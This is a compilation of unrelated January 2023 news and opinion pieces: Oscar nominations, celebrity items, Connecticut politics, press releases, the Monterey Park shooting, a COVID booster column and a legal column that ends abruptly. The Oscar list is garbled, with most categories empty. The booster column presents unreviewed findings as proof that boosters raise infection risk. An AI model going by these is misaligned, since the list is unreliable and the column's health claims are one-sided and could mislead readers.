The coveted Best Picture category will pitch "Everything Everywhere All at Once" against "Banshees" as well as blockbuster sequels "Avatar: The Way of Water" and "Top Gun: Maverick". The other nominees in the category include "All Quiet on the Western Front", "Elvis", "The Fabelmans", "Tar", "Triangle of Sadness", and "Women Talking".

Riz Ahmed and Allison Williams hosted the nominations announcement presentation at the Academy's Samuel Goldwyn Theatre in Beverly Hills, California. The 95th Academy Awards - hosted by Jimmy Kimmel - will take place on Sunday, March 12 at the Dolby Theatre in Los Angeles.

The 2023 Oscars nominations are:

Best Picture:

Best Actress in a Leading Role:

Best Actor in a Leading Role:

Best Actor in a Supporting Role:

Best Actress in a Supporting Role:

Best Director:

Best Writing (Original Screenplay):

Best Writing (Adapted Screenplay):

Best International Feature Film:

Best Animated Feature Film:

Best Documentary Feature:

" All That Breathes "

" " All the Beauty and the Bloodshed "

" " Fire of Love "

" " A House Made of Splinters "

" "Navalny"

Best Film Editing:

Best Cinematography:

Best Music (Original Score):

Best Music (Original Song):

Best Sound:

Best Visual Effects:

Best Production Design:

Best Costume Design:

Best Makeup and Hairstyling:

Best Animated Short Film:

" The Boy, the Mole, the Fox, and the Horse "

" " The Flying Sailor "

" " Ice Merchants "

" " My Year of Dicks "

" "An Ostrich Told Me the World Is Fake and I Think I Believe It"

Best Live Action Short Film:

" An Irish Goodbye "

" " Ivalu "

" " Le Pupille "

" " Night Ride "

" "The Red Suitcase"

Documentary Short Subject:

" The Elephant Whisperers "

" " Haulout "

" " How Do You Measure a Year? "

" " The Martha Mitchell Effect "

" "Stranger at the Gate"

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Mitch Winehouse heaps praises on the actors chosen to star in the movie about his late daughter, insisting it's doesn't matter if they don't look like their real-life characters.

Jan 25, 2023

AceShowbiz - Mitch Winehouse calls Marisa Abela a "great choice" to play his daughter in a new biopic. The 26-year-old actress has been tapped as Amy Winehouse in "Back to Black", and Mitch thinks she's the perfect candidate for the role, insisting it doesn't matter that they "don't look exactly alike."

"Marisa is Marisa and Amy is Amy ... so it's no big deal if they aren't mirror images. Marisa is a great choice for the role," Mitch, 72, told TMZ.

Eddie Marsan is playing the part of Mitch in the upcoming film, and the former taxi driver insists he's not worried that he and Eddie don't look alike, either. He said, "There's too much emphasis on looks, because there's plenty of Hollywood examples of actors not looking like their real-life character."

Amy died of alcohol poisoning in July 2011, aged 27, and Mitch previously explained that he's determined to remember the "amazing things" about her life. Mitch insisted that he wants his daughter to be remembered for her successes, rather than her off-stage troubles.

Speaking ahead of the ten-year anniversary of Amy's death, he said, "There will be tears, without a doubt. Every year is difficult but of course ten years on brings attention - which I understand but it brings it all back too. It's hard to avoid being upset. In many ways we will never get over it, however long passes."

"But shortly afterwards, we will head somewhere for a meal and our focus will be on the amazing things about Amy's life - her talent, her generosity and the love she showed us all. That's become my mission, to make sure people think of Amy for all she gave the world and those around her, not just for her troubles with addiction."

"Of course we remember the big career highs, the awards, but my favourite memories are the smaller, more personal moments we shared."

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Working to ensure that their community is valued, affirmed and acknowledged, a group of Connecticut LGBTQ activists gathered at Hartfords Legislative Office Building on Monday to announce the formation of Equality Connecticut, an organization to advocate for LGBTQ needs in the political arena and wherever else advocacy is necessary.

We recognize that queer people in Connecticut face multiple and varying forms of oppression. We see the fights against systemic racism, gender discrimination, criminalization, violence, poverty, health disparity, reproductive justice as all inherently queer issues, said Matt Blinstrubas, executive director of Equality Connecticut.

Legal rights are not enough. Our visibility, our culture, our history, our sense of belonging and our shared joy are equally essential to LGBTQ peoples well-being, he said. When we come together and we truly see each other, we become a force that is unstoppable.

Equality Connecticut fills a longstanding void in the states legislative LGBTQ representation, Blinstrubas said. Although smaller organizations have advocated successfully for various LGBTQ issues in the past, this is the first attempt at a statewide, all-encompassing LGBTQ political organization.

Tony Ferraiolo, director of Health Care Advocates Internationals Youth and Family, gives an example of a successful case at the Legislative Office Building in Hartford, during the launch of Equality Connecticut, a statewide, queer-led social justice organization on Monday. (Aaron Flaum/Hartford Courant)

We had a lot of early progress, the gay rights bill, marriage equality. There was always an effort going on, so there wasnt necessarily a particular need for this, Blinstrubas said. That changed with the rising political tension, the oppression and persecution that queer folks see around the country. That tension has not missed Connecticut. This is a moment for us to come together and ensure that our gains are protected.

Equality Connecticut is fiscally sponsored by Social and Environmental Entrepreneurs, a California-based nonprofit that funds organizations advocating for progressive change.

State Rep. Jeff Currey, one of a handful of openly gay members of the state legislature, said the work is not done and will never be done. We will continue to fight to ensure we are valued, affirmed, acknowledged.

The group stated its immediate priorities, legislative and otherwise, as:

Expanding suicide prevention programs to be more LGBTQ inclusive

Supporting legislation to ensure coverage of fertility care for LGBTQ people

Ensuring access to gender-affirming health care

Supporting the progress of the state LGBTQ Health and Human Services Committee

Advocating and raising funds for the Shawn Lang Task Force for a Connecticut AIDS Memorial

Building a training program to nurture the next generation of LGBTQ leaders and activists

Tony Ferraiolo, a transgender man who counsels transgender youth and advocates for educational and health-care equality for trans people, is a member of Equality Connecticuts advisory board. Ferraiolo said the first priority is vital because, according to a 2022 annual poll by the Trevor Project, 42% of LGBT youth, and 53% of trans and nonbinary youth in the state have seriously considered suicide and 11% have made an attempt.

This breakdown of self-esteem, he said, is worsened when schools do not honor kids chosen names and pronouns.

This is all extremely emotionally harmful for students. We cannot expect LGBTQ students to give 100% in school if they cant be 100% of who they are, he said. Were setting them up for failure.

Rep. Dominique Johnson left talks with Gretchen Raffa, of Planned Parenthood of Southern New England, after a press conference at the Legislative Office Building in Hartford, during the launch of Equality Connecticut, a statewide, queer-led social justice organization on Monday. (Aaron Flaum/Hartford Courant)

Gretchen Raffa, another advisory board member, represents Planned Parenthood of Southern New England in her advocacy for fertility care. LGBTQ couples, and singles, want families, too, she said, and should get equal access to fertility care.

The fundamental right to control our bodies and our futures is not limited to any one gender identity or sexual orientation, Raffa said. No one is free unless they can control their own bodies.

Others representing the community at the news conference were Kia Baird of the New Haven-based OutCT and state Rep. Dominique Johnson, who identifies as genderqueer.

In the audience was Joseph Grabarz, who served in the state House of Representatives from 1989 to 1993. In 1990, Grabarz became the first Connecticut state representative to come out as gay.

I think this will fill a void that existed. This is a community planning for the future, with the potential to develop new leaders, Grabarz said. Im an old man now. Its nice to see another generation of voices rise to the top.

Susan Dunne can be reached at sdunne@courant.com.
Instagram Movie

The 'Scream Queens' actress admits she was pleasantly surprised to be picked to star in the upcoming Spider-Man spinoff which will be fronted by Dakota Johnson.

Jan 25, 2023

AceShowbiz - Emma Roberts was shocked to be cast in "Madame Web". The 31-year-old actress has landed a role in the new movie in Sony's Spider-Man universe and claims that the opportunity to feature in the film came as a huge surprise.

"I thought it was very unexpected. It's so funny, one day you're walking around your house, and then you get a phone call that they want to meet you for a Marvel movie," Emma said in an interview with Collider.

"It was so weird because I remember being like, 'What's the audition process? What do I have to do?' And then I talked to the director, and I was in Boston a couple (of) weeks later filming, and we had a lot of fun on it."

She added, "It's obviously such an amazing cast, and it's such a unique take on a Marvel movie. So I'm really excited for people to see it because I think it's going to be very unexpected, how they tell the story."

Dakota Johnson is starring in the title role and will be joined in the cast by Sydney Sweeney, Celeste O'Connor, and Tahar Rahim. S.J. Clarkson is directing the film which is scheduled for release in February 2024.

In the comic books, Madame Web is depicted as an elderly woman who is connected to a life-support system that resembles a spider's web. Dakota has pledged to bring "heart" to her performance by drawing on her work on small-scale films.

She said, "I guess having experience on all tiers of films I can bring maybe some stuff from the little movies to the big movies that I want to see in them, you know? I really love seeing large-scale films that still have heart in them."

"People from 'Cha Cha (Real Smooth)' and some from 'Am I Okay?' are coming on to 'Madame Web' with me. It's cool. It's fun to be able to start creating a real team of people that make movies."

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The 13-year-old, whom the late actress shared with her ex James Tupper, says that he 'cannot put into words how grateful' he is to have her as his mother and how much he misses her.

Jan 25, 2023

AceShowbiz - Anne Heche's youngest son has broken his silence on her passing. Five months after the "Six Days, Seven Nights" actress died following a fireball car crash, Atlas opened up about his loss for the first time in an interview with Los Angeles Inquisitor magazine.

When speaking to the publication, the 13-year-old had nothing but compliments for his mom. "My mom was the brightest person I've ever known. She always knew how to solve a problem, or help a friend. She always knew the right thing to do," he said. "I cannot put into words how grateful I am or how much I miss her."

Anne shared Atlas with her ex, James Tupper, who also said in the interview, "Anne and I were together for more than a decade, we have a beautiful son together and in that time, she was the very definition of light in our lives, always bringing fun, love and energy." He added, "She will always be remembered in our hearts and minds."

James was previously embroiled in a dispute with Anne's other son, Homer Laffoon, over the control of her affairs. However, Homer, whose father is Anne's ex-husband Coleman Laffoon, was eventually named general administrator of his mother's estate on November 30, 2022.

Judge Lee Bogdanoff granted Homer permission to "take possession of all the personal property of the estate of the decedent and preserve it from damage, waste, and injury." The judge also dismissed claims from James that Homer is "not suitable" to run the estate because of his age, unemployment status, and the fact he wasn't in contact with his mother at the time of her death.

"I find no malfeasance by Mr. Laffoon," said the judge. In addition, the judge denied the Canadian actor' request for a hearing to investigate a claim that the late star's $200,000 jewelry collection has gone missing.

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Pet Fed India is the largest pet festival hosted for pets and their parents across the country. After a successful leg at Pet Fed Bengaluru and Delhi, the two-day festival was hosted in NESCO VIP Grounds, Goregaon, in Mumbai on January 21 & 22. Carry My Pet, the countrys trusted pet relocation company, was the travel partner for the festival and became the event's highlight.

Pet Fed Mumbai was a success for pet care companies who participated in the event and the parents who attended it with their fur babies. Carry My Pets stall received the most traction because of its interactive activities and the miniature aircraft to give the pet parents the essence of its services. The company had over 7,000 visitors on its booth spread across both days.

Carry My Pet had planned an end-to-end demonstration of the travel process by providing mock boarding passes to the participating visitors and a fake fit-to-fly certificate for the pets, explaining how the process works, and finally getting on the plane with the pet. The company also educated people about the process of pet relocation via different modes of transport while answering their queries and providing expert guidance.

Speaking on the event's success, Mr. Aamir Islam, Co-Founder of Carry My Pet, said, After Pet Fed Bengaluru & Delhi in 2022, we are overwhelmed with the positive response we received in the Mumbai event too. Miniature aircraft we created for the pet parents to understand our services turned out to be the major highlight.

Carry My Pet has completed over 6000 pet relocations, wherein over 7200 pets were moved domestically and globally to more than 30 countries.
Nokia announced it has signed a new cross-license patent agreement with Samsung following the expiry of the previous agreement at the end of 2022.

Under the agreement, which covers Nokias fundamental inventions in 5G and other technologies, Samsung will make payments to Nokia for a multi-year period beginning 1 January 2023. The terms of the agreement remain confidential between the parties.

Jenni Lukander, President of Nokia Technologies, said: Samsung is a leader in the smartphone industry, and we are delighted to have reached an amicable agreement with them. The agreement gives both companies the freedom to innovate, and reflects the strength of Nokias patent portfolio, decades-long investments in R&D and contributions to cellular standards and other technologies.

The agreement is consistent with the assumptions that Nokia has disclosed in the long-term Nokia Technologies outlook commentary in its Financial Report for Q3 and January-September 2022 issued on October 20, 2022.

Nokias industry-leading patent portfolio is built on more than 130 billion invested in R&D since 2000 and is composed of around 20,000 patent families, including over 4,500 patent families declared essential to 5G. Nokia contributes its inventions to open standards in return for the right to license them on fair, reasonable and non-discriminatory (FRAND) terms. Companies can license and use these technologies without the need to make their own substantial investments in the standards, fueling innovation and the development of new products and services for consumers.
FSN E-Commerce Ventures Ltd. (NYKAA) today announced the appointment of P Ganesh as their Chief Financial Officer to further strengthen and boost Nykaas financial operations and key long-term business strategies. Ganesh is a qualified Chartered Accountant, Cost and Management Accountant and Company Secretary with over 27 years of diverse industry experience in domestic and international markets. He will step into his role at the company on February 3, 2023.

We are pleased to welcome Ganesh to our leadership team and be part of Nykaas growth story that will benefit from his rich financial experience. His knowledge about the Indian financial market and insights into International markets will be valuable in guiding Nykaas journey as a leader in beauty and lifestyle omnichannel retail. said Falguni Nayar, Founder and CEO, Nykaa.

P Ganesh joins Nykaa from the TAFE Group, a leading manufacturer and marketer of tractors in India, with iconic brands like Massey Ferguson and Eicher. Ganesh has previously held leadership and senior management roles in India and overseas and has been associated with the Godrej Group, Glenmark Pharma and Pidilite. Ganesh brings with him vast experience in Financial Reporting, Business Finance, Domestic and International Taxation, Investor Relations, Banking, Mergers and Acquisitions and Corporate Law.

Commenting on his appointment, P Ganesh said, Im excited to join Team Nykaa and become a part of the remarkable Nykaa growth journey as it expands its presence further by entering new markets, products and geographies. I look forward to leveraging my expertise and contribute to what I believe is an exciting phase in the Nykaa journey as it continues to grow and scale its businesses.

A recipient of Business Todays Best CFO Award in 2010 and 2013, Ganesh is a member of the Academic Advisory Panel of the Birla Institute of Management and Technology, Noida. He is also a member of the Board of Studies (Commerce) at Mulund College of Commerce, Mumbai and an active commentator in industry and academic forums.
Rite KnowledgeLabs, one of India's premier full-service content-first digital firms, has been retained by GE in India as the agency of record (AOR) for its digital storytelling for the second year. As a part of the mandate, Rite KnowledgeLabs will continue to work on digital content & design, organic moment marketing, and thought-leadership storytelling for GE in India across leading social media platforms, the India website and industry-specific digital newsletters.

Gayatri Rath, Executive Director, Communications, GE South Asia, commented on the continued collaboration and said, We are happy to renew our partnership with Rite KnowledgeLabs. In the past year, as our organic social media content and corporate website partner, their services have been useful in GE's stakeholder and reputation outreach initiatives."

Recognized as one of Indias top independent content agencies, Rite KnowledgeLabs has proven expertise in Storytelling-as-a-Service (SaaS) across social media, corporate websites, and other digital platforms. The team brings the power of business storytelling with research-led content, usability-driven UI-UX design & development, and digital execution, resulting in compelling stakeholder narratives for customers. In addition, the firm implements organic social media marketing & reputation programs for several multinational and domestic clients.

Zahara Kanchwalla, Co-founder & Chief Executive Officer, Rite KnowledgeLabs, said, "GE is one of the world's most iconic brands. We are delighted with the continued trust placed in us to partner with the communications team for their social media and content needs. Our ability to deliver organic thought leadership content is pivotal to the success of such real-time stakeholder trust and engagement mandates. We look forward to continue doing good work and learning by servicing such prestigious clients."

Rite KnowledgeLabs is celebrating its 7th year of operations. It partners with a unique mix of MNCs, domestic brands, SMBs, and start-ups, for their reputation needs through thought leadership digital assets. The team delivers end-to-end solutions from corporate websites to microsites, financial and cause reporting to thought-leadership programs and news centres comprising content strategy, design, and development.

It works with some of the best and most admired brands on both annual retainer and time-bound project engagements like Microsoft India, HDFC Bank, GE in India, Goldberry Wealth - Franklin Templeton DAS GmbH Germany, National Stock Exchange (NSE), Barclays Bank (CSR), AM International Singapore, DSM, HDFC Mutual Fund, Symphony Air-Coolers, Capital India, and agritech start-ups like agribazaar among others.

Organic social media programs enable brands to build long-term trust and sustainable value while delivering efficient ROI to customer spending. This approach allows genuine stakeholder engagement without additional budgets for paid promotions, brand ambassadors, and influencer engagements.
A much-loved waiter at Puerto Vallarta Restaurant in Newington who is always smiling and helping others, is getting help from customers and his boss during his time of need.

Alejandro Alex Melendez is hospitalized with a serious kidney condition requiring dialysis. He has a wife, two children and is the sole breadwinner in the family.

Alex is sweet, kind, happy guy who is an amazing family man, said Diane Murphy, longtime customer turned friend.

Its very painful for us to see him going through this, she said. He needs help desperately and hes always been there for us. 

Customers are organizing gift basket raffles and a 50/50 raffle for an event Wednesday and the restaurants owner, Juan Rodriguez, is donating 20% of the nights total sales to the family from 3 p.m. until closing.

Alejandro Alex Melendez, a popular waiter at Puerto Vallarta Restaurant in Newington is hospitalized with a serious condition and customers, along with the restaurants owner are holding a fundraiser Wednesday for he and his family.

Rodriguez said he also brought beautiful paintings from Mexico to be auctioned.

Melendez, originally from Mexico, has worked there for 15 years and is a great employee whose always on time and smiling, Rodriguez said.

Hes very kind, Rodriguez said.

Customers love Melendez like family and say he makes them feel like family when he waits on them, always asking how the kids are and telling them about his two children.

When you walk in the restaurant and Alex is there, he always has a smile on his face. He just brightens up the room and its infectious, said customer Kristen Ciarcia. It makes you smile when you see him.

She said hes the kind of guy who comes over to chat even if hes not the waiter.

You;re not some random person. Youre special. Hes just an outstanding man, she said.

Whenever the restaurant holds a fundraiser for a cause  which they do often  Melendez always volunteers, customers said.

Customer Patrice Bowser, who is helping with the fundraiser, said she and Melendez have become close friends over the years.

Hes very sweet, humble.  Hes so loved, she said. Everybody says when he waits on people how thoughtful he is. Its almost like youre in his home. Bowser said, noting thats the tone of the whole restaurant.

Melendez has been hospitalized since December and maintains a positive outlook and that ever-present smile, friends said.

The community support has been huge, organizers said, including donations for raffle baskets from other businesses and restaurants. The restaurant is located at 2385 Berlin Turnpike.

Hes 100 percent family man, Murphy said. Thats what I love about him. Who he is in his heart is a dad and husband.
The expression, If some is good, more must be better might apply to chocolate, vacations, and American Thinker articles, but not to everything in life. I speak of COVID vaccines, a hot topic in personal discussions and on social media.

The corporate media and government, including most world health authorities follow a similar quote, attributed to May West, If a little is great, and a lot is better, then way too much is just about right! Is that so? Are an endless series of mRNA vaccines really in the best interests of virtually all Americans for whom they are recommended?

I know many individuals who have been fully vaccinated against COVID, and had three additional boosters, including the newest bivalent vaccine, who have come down with COVID. Not hospital or ICU COVID as we saw three years ago, but bad flu-like COVID, the type that lands one in bed for several days.

YouTube screen grab

This is not surprising as viruses mutate to be more contagious and less lethal, independent of vaccines, making the vaccines less important than this natural mutation course. But are they making things worse?

The CDC subscribes to the more the merrier approach. From their website, updated a few weeks ago the, Updated (bivalent) Pfizer-BioNTech COVID-19 vaccine also became available on December 9, 2022 for children aged 6 months4 years to complete the primary series.

How at risk are children? CDC data shows fewer than 650 children ages 0-4 years have died of COVID. How many had medical comorbidities such as immunodeficiencies or malignancies versus otherwise healthy children? How many died with rather than from COVID, testing positive for COVID incidentally while they died of an unrelated cause?

Medical authorities know the difference between with and from, right? Perhaps not. In Colorado, the deaths of a murder-suicide couple were included in the states COVID death numbers, because the two tested positive for COVID-19 within 30 days before their death. Hows that for good science?

Are more vaccine dosages of net benefit or harm? Is there any thoughtful discussion among physicians and the medical establishment of the risk benefit ratio, instrumental in any medical intervention recommendation?

Again from the CDC, The updated (bivalent) boosters are called bivalent because they protect against both the original virus that causes COVID-19 and the Omicron variant BA.4 and BA.5. Are these the COVID variants we need to be concerned about today? Or are they extinct?

The original Wuhan strain, which caused havoc in early 2020, is long gone. As are most of last years Omicron variants. The current version of COVID is a variant called XBB.1.5, also known as the Kracken variant, growing from about 1% of cases nationwide [in December] to 43% as of Jan. 13, according to data from the CDC.

This means that we are boosting against variants that are or will soon be extinct. This would be like taking the flu vaccine from two years ago, this year, offering some protection against influenza variants of the past, not the present.

Yet health authorities recommend continued boosters. When will enough be enough? When will we have confidence that natural immunity, as most Americans have been exposed to COVID by now, will offer not perfect, but sufficient protection? Are endless boosters making things worse for people?

At this point, I must add the necessary disclaimer that I am not anti-vaccine, having been inoculated against COVID in late 2020 and I am not offering any medical advice. COVID decisions should be made in conjunction with your healthcare provider. I am simply observing and asking questions, both necessary in the advancement of medicine and science.

Cleveland Clinic answered the question about endless boosters in a December 2022 paper. It has not been peer reviewed yet, but given its conclusion, most medical journals would likely reject it, preferring to publish peer reviewed papers that they had to subsequently retract, as did the New England Journal of Medicine and The Lancet. Peer review may not be all that its touted to be.

The Cleveland Clinic paper reached a simple conclusion as summarized by Steve Kirsch in his January 19 newsletter, Top study shows people with more jabs were more likely to get COVID than people with fewer jabs.

This study included over 51,000 Cleveland Clinic employees who were followed over a 98 day period. Results were plotted by the incidence of test positive COVID versus number of vaccine doses, ranging from zero to more than three. At the end of the observation period, the differences were statistically significant between number of doses and infection for all groups except the 3 and >3 doses.

Cleveland Clinic is not some right-wing conspiracy theory Q-anon Twitter account but one of the premier medical institutions in the world. These results should be newsworthy, with honest and inquisitive journalists asking Drs Anthony Fauci and Rochelle Walensky to explain this data. Instead, the media is chasing Rep George Santos, leaving it to independent journalists on Substack to actually report these results.

Another Chinese study in humanized mice found that, Extended immunizations impaired the serum neutralization activity. While this animal study has not been confirmed in humans, their conclusion was worrisome, to say the least, We found that the protective effects from the humoral immunity and cellular immunity established by the conventional immunization were both profoundly impaired during the extended vaccination course.

Alex Berenson, formerly of the vaccine happy New York Times, in his newsletter, offered a concise summary of this paper including this conclusion, The finding may help to explain why large epidemiological studies keep finding that people who have received multiple boosters are at higher risk for Omicron infection than unvaccinated people. Although not a human study, the results are similar to the Cleveland Clinic paper on humans.

Both papers are dutifully ignored by the corporate media, preferring to stick to their safe and effective narrative despite conflicting data that at a minimum warrants further analysis and discussion

Physicians practice, or at least should, under the mantra First do no harm. New data must be considered, and hypotheses and recommendations changed in response to new information. Doing otherwise may lead to harm and erosion of trust in the medical system, which in America has previously been the best in the world.

How will history view those who looked the other way out of fear or hubris, daring not to ask questions and think beyond the pronouncements of government health agencies? And how many Americans will have their lives upended by dutifully adhering to government pronouncements?

Brian C Joondeph, MD, is a physician and writer.

Follow me on Twitter @retinaldoctor

Truth Social @BrianJoondeph

LinkedIn @Brian Joondeph
Suspect of California mass shooting on Lunar New Year's Eve found dead

Xinhua) 10:20, January 24, 2023

Los Angeles County Sheriff Robert Luna speaks at a press conference in front of the Civic Center in Monterey Park, California, the United States, Jan. 22, 2023. The suspect of the California mass shooting on Saturday night was found dead in another city of what authorities believe was a self-inflicted gunshot wound. Five women and five men were killed while another 10 people were injured in a mass shooting in the city of Monterey Park, 16 km east of Los Angeles downtown, the authorities said Sunday.(Xinhua)

LOS ANGELES, Jan. 22 (Xinhua) -- The suspect of the California mass shooting on Saturday night was found dead in another city of what authorities believe was a self-inflicted gunshot wound.

Five women and five men were killed while another 10 people were injured in a mass shooting in the city of Monterey Park, 16 km east of Los Angeles downtown, the authorities said Sunday.

The fatal incident occurred at 10:22 p.m. (06:22 GMT) Saturday local time in Star Ballroom Dance Studio, a popular ballroom dance facility operated for about 30 years, when it was hosting an event to celebrate the countdown to the Chinese Lunar New Year.

Los Angeles County Sheriff Robert Luna said Sunday evening that the suspect was identified as Huu Can Tran, who entered the party and opened fire before fleeing the scene in a white van.

The vehicle was pulled over in a parking lot Sunday morning and surrounded by policemen from Torrance, located roughly 50 km southwest of Monterey Park after they heard a gunshot from inside the vehicle.

The man inside the van, who was found dead following a three-hour standoff with the Special Weapons and Tactics team, was confirmed as the suspect later, according to Luna.

No motive was disclosed at a Sunday evening news conference.

Monterey Park, a city of 61,000 residents located on the eastern edge of Los Angeles, has a majority Asian American population. Starting Saturday, the city hosted an annual two-day Chinese Lunar New Year celebration, one of the largest events in the region.

Thousands of shoppers took part in Saturday's celebrations which was concluded about one hour before the fatal shooting. The festivities scheduled for Sunday have been canceled.

(Web editor: Peng Yukai, Liu Ning)
A state representative has introduced a proposal for an amendment to the Connecticut Constitution that would grant non-citizens the right to vote in state and municipal elections  he knows it will fail.

For Rep. Juan Candelaria of New Haven, the purpose of the proposal is not to have it pass, but to lay the groundwork for future policy in a state that is home to 240,000 non-citizen immigrants, approximately half of which are undocumented.

More than a dozen localities in the United States have passed laws allowing non-citizen electors in municipal or school board elections in a growing suffrage movement that has faced fierce criticism from opponents.

While state lawmakers have expanded protections and privileges for Connecticuts immigrants, the last big discussion on non-citizen voting occurred in 2011, when former New Haven Mayor John DeStefano attempted to lobby the legislature to let undocumented immigrants vote in city elections.

Candelaria is ready to reignite the debate.

When we talk about undocumented individuals, they are part of our fabric of this nation and of the state.  Theyre part of the community and they should have a voice, Candelaria said. People might not be amicable to this idea, and I respect that opinion, but at least by having the process, we can have the dialogue and we can have the debate. And thats all I want.

In its current rough draft, the proposed amendment would allow undocumented immigrants who are residents of the state to be admitted as electors for purposes of voting in municipal and state elections, but Candelaria said that the policy would extend to visa-holders and lawful permanent residents. Candelaria said the completed proposal will stipulate a list of requirements including the minimum number of years a person must live in the state in order to qualify as well as bars on those with a criminal record.

Candelaria acknowledged that the idea of non-citizen suffrage faces opposition from lawmakers on both sides of the aisle, but he hopes his proposal will at least lead to an open debate in a public hearing.

If I can get all the way to the floor of the House, thatll be the ultimate goal for me. But its not going to happen, Candelaria said.

The survival time of the proposed amendment will depend on how it is handled in the General Assemblys Government Administration and Elections Committee where legislators will first vote on whether to raise the bill for discussion.

House Minority Leader Rep. Vincent Candelora is of the mind that the proposal should not make it to the stage of a public hearing.

I think its completely outrageous. I think that the fact that we have open borders and now we are potentially opening up elections to non-citizens completely erodes our sovereignty in this country and in our state, Candelora said. I dont think that we should be redefining who an elector is at the municipal or statewide level for the purposes of electing our public officials.

State Rep. Matt Blumenthal, chair of the Government Administration and Elections Committee, said that the committee has yet to screen new proposals and that he could not comment on Candelarias proposed constitutional amendment. He also declined to share his thoughts on non-citizen voting.

Our colleagues in the General Assembly have proposed roughly 150 ideas for bills to be handled by our committee, Blumenthal said. My co-chair [Sen. Mae Flexer] and I look forward to reviewing them all and discussing whether they should go forward in the committee.

Even if the proposal makes it out of committee, and is approved by the General Assembly, it would take years  with many opportunities for failure  before becoming policy.

In order to amend Connecticuts Constitution, three-fourths of representatives from the House and the Senate would need to approve the resolution before appearing on voters ballots for final passage in the next regular state election.

Another path toward amendment occurs if a simple majority of state senators and representatives pass the resolution. In that scenario, the proposed amendment would undergo a second vote by legislators during the following years session, and if that reaches a simple majority, the proposal will appear on the general election ballot.

Candelaria is optimistic that once the conversation starts, non-citizen voters will become a reality for Connecticut within the next decade.

If we get members to agree that it makes sense for them [and] for the communities, hopefully I can see this happening in the next couple of years, Candeleria said. Thats my wishful thinking, but at least lets begin the process of having a dialogue.

Non-citizen voting a historical norm

Non-citizen suffrage is not so much a new idea as it is a historical norm.

Thirty-nine U.S. states permitted Alien Suffrage for local, state and federal elections between 1776 and 1926. High demand for labor from an immigrant workforce kept the practice strong until the turn of the 20th century when nativist sentiments and anti-immigrant fears spurred by World War One finally won over.

Connecticut however outlawed non-citizen electors with the passage of the states first constitution in 1818, granting the right only to white male citizen[s] of the United States.

The U.S. government did not explicitly prohibit non-citizen voters in federal elections until the Illegal Immigration Reform and Immigrant Responsibility Act of 1996.

Citizenship as a requirement for voting, historically hasnt been the norm in the U.S. Roger Senserrich, the communications director of the Connecticut Working Families Party said.

Senserrich said that the WFP is a strong supporter of allowing non-citizens to vote in municipal elections, adding that it is one of the questions the party asks candidates before giving them an endorsement.

Currently, 11 municipalities in Maryland, and two Vermont cities permit non-citizen voters in local elections. In 2021, New York City passed a law allowing non-citizen voters on the local-level, but the policy was struck down by a judge last June before it could take effect.

Other cities, like Oakland, California, allow non-citizen parents of school children to vote for School Board Director. Several other non-citizen suffrage proposals are cropping up in towns across the country.

Sensirrich thinks Connecticut should join the list.

We are a state that has always been very proud of our diversity and we have this strong tradition of a very strong local self rule. Considering that quite a few of our cities and towns have big immigrant populations, they should have a say, Sensirrich said. If we value local self-government, we should value local self-government by everyone that lives in that town, not just the few.

Rights and protections for undocumented immigrants have been growing in Connecticut. Over the last decade, the legislature has passed more than a dozen laws benefiting undocumented immigrants.

Some of the most notable include the issuance of drive-only licenses in 2013, granting eligibility for financial aid at the states public higher education institutions in 2018, and most recently, extending Connecticuts HUSKY Medicaid program to all children under age 12.

Constanza Segovia is community organizer at the immigrant-led mutual aid group Hartford Deportation Defense, one of the many organizations leading the fight to expand HUSKY to all residents, regardless of age or immigration status.

Segovia said that granting non-citizens the right to vote is important, but says undocumented immigrants have taken up other tools to gain a political voice.

Voting is one of the big ways that we become civically engaged, but thats not the only way, Segovia said. Our communities are already engaged with our leaders. With the Husky 4 Immigrants campaign right now, were at the Capitol, were talking to legislators, were talking to legislators about our communities and the needs [of not] just the immigrant communities that we belong to, but also our Hartford community, our Hartford neighborhoods, our Hartford schools. Voting is just one aspect of civic engagement. I think having access to vote would give us another tool.

Segovia said that the inability to be engaged in the voting process has been a huge disparity for her community and a missing piece in our current democratic system.

She that its time for the public to redefine what it means to be a citizen.

Were all next door to each other, were all going to the same schools, were going to the same hospital, so how are we going to look beyond some of these barriers and actually come up with some solutions so that everybody has access to fair wages, good education, good housing, basic health care? Segovia said. When we talk about being citizens of the world and being citizens of the community that we live in  that includes everybody who lives in this community and has a stake in this community. And I wish that we get to a point with our government where people can be treated as such.

As for whether she thinks Connecticut will ever grant non-citizens the right to vote, Segovia said, You have to start the conversation to know whether its possible.

Alison Cross can be reached at across@courant.com.
In ruling on Governor Ron DeSantiss decision last year to fire a state attorney who explicitly refused to enforce the states laws, a Florida District Court judge just provided the latest example of a significant problem in Americas justice system: Progressive prosecutors across the length and breadth of our nation are nullifying laws with which they disagree. This goes to the very heart of our constitutional system. The reason prosecutors act with this impunity is the Supreme Courts grant of absolute immunity for prosecutorial discretion.

In Florida, Soros-supported State Attorney Andrew Warren was open about his disdain for Floridas laws. He promised to use discretion as a vehicle for refusing to prosecute certain crimes, and he issued a flat-out promise not to prosecute any criminal laws governing abortions.

After being fired, Warren sued in federal court, alleging that DeSantis has violated both his First Amendment rights to free speech and his rights under the Florida Constitution. In what should have been a one-page opinion finding that Warren was properly fired, Federal Northern District of Florida Judge Robert Hinkle, a Clinton appointee, issued a 59-page opinion that, while finding the DeSantis had cause to fire Warren, nevertheless held that this was only because Warren was foolish enough to state his blanket refusal to prosecute crimes regarding abortion. Despite that holding, Hinkle spent the remainder of his opinion condemning DeSantis and endorsing Warren.

Hinkles opinion is horrendous and emblematic of just how corrupt our legal system has become. He argues strenuously that the only way prosecutors can be held liable for nullifying their states laws is if they unequivocally announce in advance that they intend to do so. Hinkle implies that, if a prosecutor throws in the magic phrase prosecutorial discretion when lambasting a states laws, then the prosecutor is free from consequences. This is a constitutional obscenity.

The decision oozes Hinkles bias. He characterized DeSantiss attempt to enforce constitutional norms as right-leaning and characterized Warren as a reform prosecutor who was merely carrying out the reform-prosecutor agenda he campaigned on.

As to the merits of the case, it follows two paths: Regarding the first, addressing state constitutional claims, Hinkle held that the Eleventh Amendment prevents a claimant from suing in federal court over an alleged violation of a state constitution. And for the second, the First Amendment claims, Hinkles ultimate finding was that Warrens single explicit refusal to enforce the law (made without the magical discretion incantation) justified his firing.

At that point, everything else Hinkle had to say about either the state or federal constitutional claims was legally meaningless. That didnt stop him. The lengthy decision was obviously intended to give leftist prosecutors a roadmap for circumventing laws with which they disagree. Indeed, most of what he wrote was simply to lambaste DeSantis, as this example shows:

